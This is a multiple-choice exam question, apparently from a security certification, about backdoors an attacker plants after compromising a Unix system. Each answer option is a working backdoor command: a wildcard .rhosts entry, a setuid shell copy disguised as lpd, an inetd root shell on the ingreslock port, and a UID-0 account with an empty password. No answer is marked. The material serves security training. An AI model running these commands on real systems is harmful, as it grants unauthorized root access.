An attacker has compromised a system by guessing a user account. The attacker then escalates privileges through a Trojan horse. The attacker will then put back doors on the system. What enables a remote root shell, bypassing the PAM mechanism?

A.
echo + > /.rhosts

B.
cp /bin/ksh /bin/lpd
chmod 4555 /bin/lpd

C.
echo ‘ingreslock stream tcp nowait root /bin/sh sh -i’ >> /tmp/.x; inetd -s /tmp/.x

D.
echo "bob:x:0:1::/:/bin/bash" >> /etc/passwd;
echo "bob::6445::::::" >> /etc/shadow